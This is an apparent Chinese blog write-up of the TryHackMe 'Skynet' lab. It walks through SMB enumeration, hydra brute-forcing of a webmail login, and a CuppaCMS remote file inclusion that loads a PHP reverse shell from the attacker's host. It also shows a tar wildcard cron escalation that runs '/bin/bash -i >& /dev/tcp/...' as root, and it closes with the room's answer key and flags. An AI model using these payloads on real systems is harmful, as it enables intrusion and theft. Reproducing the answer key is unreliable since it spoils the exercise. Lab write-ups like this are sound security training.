THM-Skynet(天网)

侦查

对靶机进行端口扫描

开放有445\文件共享服务,使用nmap枚举该服务共享的文件夹

nmap --script=smb-enum-users,smb-enum-shares -p445 10.10.46.75

枚举出两个重要的目录anonymous、milesdyson

也可以使用smbclient -L //10.10.46.75该命令进行枚举

访问anonymous任何人都可以访问的目录

smbclient //10.10.46.75/anonymous

发现含有attention.txtlogs目录,其中logs目录中有log1.txt、log2.txt、log3.txt,其中只有log1.txt中有内容,我们将其下载

attention.txt内容

A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson

log1.txt内容

log1.txt猜测应该是给我们提供的用户名或者密码的字典,翻译attention.txt内容

提示我们上一次的事故中所有人的密码被修改了,log1.txt应该是每个用户被修改的密码,提示我们使用log1.txt中的密码登录后修改密码,应该这个意思

使用smb枚举得到的用户名milesdyson,获得到的log1.txt密码字典爆破ssh服务

hydra -l milesdyson -P log1.txt 10.10.46.75 ssh

遗憾的是并没有爆破出密码

同样的道理,不过这次爆破smb服务

hydra -l milesdyson -P log1.txt 10.10.46.75 smb

同样的遗憾,并没有爆破成功,那么我们需要另找出路了

靶机还开放着80\Web,尝试或者一些有用的信息

查看源代码

action=#所以无论我们如何搜索也无法提交,尝试访问一些敏感的目录和文件

robots.txt

获取目标的中间件信息,以及操作系统

admin目录

提示Forbidden,不允许我们访问该目录

那么我们只剩下最后一种方法,将目录枚举出来

使用gobusterWeb服务进行枚举

gobuster dir -u http://10.10.46.75 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e

扫描过程中爆出了/squirrelmail的页面,访问查看

这是一个登录页面,尝试弱用户名密码admin:admin登录

并没有成功,仔细想一想,刚刚log1.txt密码和用户名milesdyson说不定是在这里用的

尝试使用hydra爆破,获取登录表单传值

获取登录失败页面会返回的字符串,Unknown user or password incorrect

开始爆破

hydra -l milesdyson -P log1.txt 10.10.46.75 http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown user or password incorrect" -v

成功爆破出密码为cyborg007haloterminator

登录

登录后可以看到一些邮件,后面两个都是一些没用的信息,第一个邮件内容如下

至于什么意思,我也看不懂,但是身为一个学习网路安全的password这么显眼的单词我是看到了

翻译后

紧接着上面的提示,更改的密码发到了用户的邮箱里,看来上面我们猜测的log1.txt内容为被修改的密码是不对的,这个才是

使用密码)s{A&2Z=F^n_E.B登录用户milesdyson共享的文件夹

smbclient //10.10.46.75/milesdyson -U milesdyson

这里密码还是手动输入比较好,我复制一直没有成功

可以看到其中一些后缀名为.pdf的书籍,其中有一个notes的目录,note(笔记)的意思,这个目录很有可能有我们想要的内容

其中有很多.md的文件,其中有一个important.txt,important(重要)的意思,那么这个文件到底多么重要,我们下载了解便知

重要信息,1. 添加功能到 beta CMS /45kra24zxs28v3yd,添加了一个新的CMS/45kra24zxs28v3yd页面

还要一个次要的信息3.多陪陪老婆,可能是多陪陪老婆的原因,这位先生才忘记更改发放的smb服务的密码,哈哈(胡言乱语ing)

访问/45kra24zxs28v3yd页面

好像并没有什么提示,说是添加了一个新的CMS,????在哪呢?,查看源代码试一试

什么都没有,啊?只有最有一个办法了,那就是对/45kra24zxs28v3yd目录进行扫描

gobuster dir -u http://10.10.46.75/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e

经过一会的扫描,得到了一个administrator目录

初始访问权限

访问该目录

是一个名称CuppaCMS,尝试使用弱密码admin:admin或者是admin:123456进行登录,但是并没有成功

使用searchsploit搜索发现拥有远程文件包含漏洞

读取该漏洞的利用文档

文件包含页面为/alerts/alertConfigField.php,需要传入urlConfig的值,该值文件包含的路径

使用提供包含/etc/passwdpayload进行测试

http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

成功包含

现在我们需要使用该漏洞反弹一个shell,修改php-reverse-shell.php,使用netcat进行监听,

开启本机的http.server服务,然后对php-reverse-shell.php进行远程文件包含

http://10.10.46.75/45kra24zxs28v3yd/administrator//alerts/alertConfigField.php?urlConfig=http://10.2.34.252:80/php-reverse-shell.php

成功回弹shell,并且权限时www-data用户

稳定SEHLL

现在我们需要对靶机进行提权

首先我们把终端切换为交换式终端

  1. python -c 'import pty;pty.spawn("/bin/bash")'
  2. export TERM=xterm
  3. CTRL + Z,然后stty raw -echo; fg

成功获取交互式终端

权限提升

查找SUID文件

find / -perm -04000 -type f 2>/dev/null

没有发现

查找拥有管理员权限的二进制文件

getcap -r / 2>/dev/null

也没有可疑的信息

查看计划任务cat /etc/crontab

发现,系统会以root身份运行/home/milesdyson/backups/backup.sh文件

查看该文件的内容

使用的tar命令进行的备份,在https://gtfobins.github.io/gtfobins/tar/ 找到对应的提权方法

进过观察,backup.sh文件执行tar命令是,最后的内容为*通配符,*代表所有的意思,这里他的意思是将所有的文件进行拷贝

我们可以利用该想法,根据paylaod执行我们想要执行的命令,只需要在/var/www/html目录创建文件名为--checkpoint=1--checkpoint-action=exec=/bin/sh的文件

然后计划任务在执行的时候语法就变为了

tar cf /home/milesdyson/backups/backup.tgz --checkpoint=1 --checkpoint-action=exec=/bin/sh

但是这里计划任务执行/bin/sh没有实际的作用

这里我们创建一个reverse.sh的文件,内容为/bin/bash -i >& /dev/tcp/10.2.34.252/8888 0>&1

然后再本机监听8888端口等待靶机上线

所以只需要创建三个文件,执行以下脚本即可

touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=bash reverse.sh"
echo "/bin/bash -i >& /dev/tcp/10.2.34.252/8888 0>&1" > /var/www/html/reverse.sh

成功反弹shell

以下是该靶机问题的答案

1. What is Miles password for his emails?

cyborg007haloterminator
2. What is the hidden directory?

/45kra24zxs28v3yd
3. What is the vulnerability called when you can include a remote file for malicious purposes?

remote file inclusion 
4. What is the user flag?

7ce5c2109a40f958099283600a9ae807
5. What is the root flag?

3f0372db24753accc7179a282cd6a949

一天就这样结束了,加油!

posted @ 2023-03-30 20:26  Junglezt  阅读(95)  评论(0编辑  收藏  举报